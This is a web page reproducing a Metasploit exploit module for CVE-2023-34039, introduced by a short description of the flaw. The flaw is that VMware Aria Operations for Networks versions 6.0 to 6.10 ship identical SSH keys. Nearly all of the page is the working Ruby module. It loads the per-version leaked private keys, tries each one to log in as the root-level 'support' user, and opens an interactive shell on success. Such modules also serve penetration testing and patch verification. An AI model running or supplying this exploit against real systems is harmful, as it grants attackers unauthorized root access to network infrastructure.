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VMWare Aria Operations For Networks SSH Private Key Exposure
VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0 do not randomize the SSH keys on virtual machine initialization. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as the “support” (root) user.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/ssh'require 'net/ssh/command_stream'class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, { 'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure', 'Description' => %q{ VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0 do not randomize the SSH keys on virtual machine initialization. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ], [ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ], [ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ], [ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ], [ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ], [ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ], [ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ], [ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ], [ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ], [ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ], [ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ], [ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ], [ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ], [ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ], [ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ], [ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ], [ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ], [ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ], [ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ], [ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ], [ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ], [ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ], [ 'All', {} # built later ], ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Author' => [ 'h00die', # MSF module 'SinSinology', # PoC 'Harsh Jaiswal (@rootxharsh)', # Discovery 'Rahul Maini (@iamnoooob)' # Discovery ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-34039'], ['URL', 'https://github.com/sinsinology/CVE-2023-34039'], ['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'], ], 'DisclosureDate' => '2023-08-29', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 22, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } } ) ) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user, key_data) opt_hash = ssh_client_defaults.merge({ auth_methods: ['publickey'], port: rport, key_data: [ key_data ] }) opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, user, opt_hash) end rescue Rex::ConnectionError print_error "#{rhost}:#{rport} SSH - Unable to connect" return nil rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return nil rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return nil rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" return nil rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return nil end if ssh_socket # Create a new session from the socket, then close it. conn = Net::SSH::CommandStream.new(ssh_socket) ssh_socket = nil return conn end nil end def exploit if target.name == 'All' keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' } else keys = [target.opts['key']] end keys.each do |key| vprint_status("Attempting key: #{key}") key_data = File.read(key, mode: 'rb') conn = do_login('support', key_data) next unless conn print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}" handler(conn.lsock) break if datastore['STOP_ON_SUCCESS'] end endendRelated news
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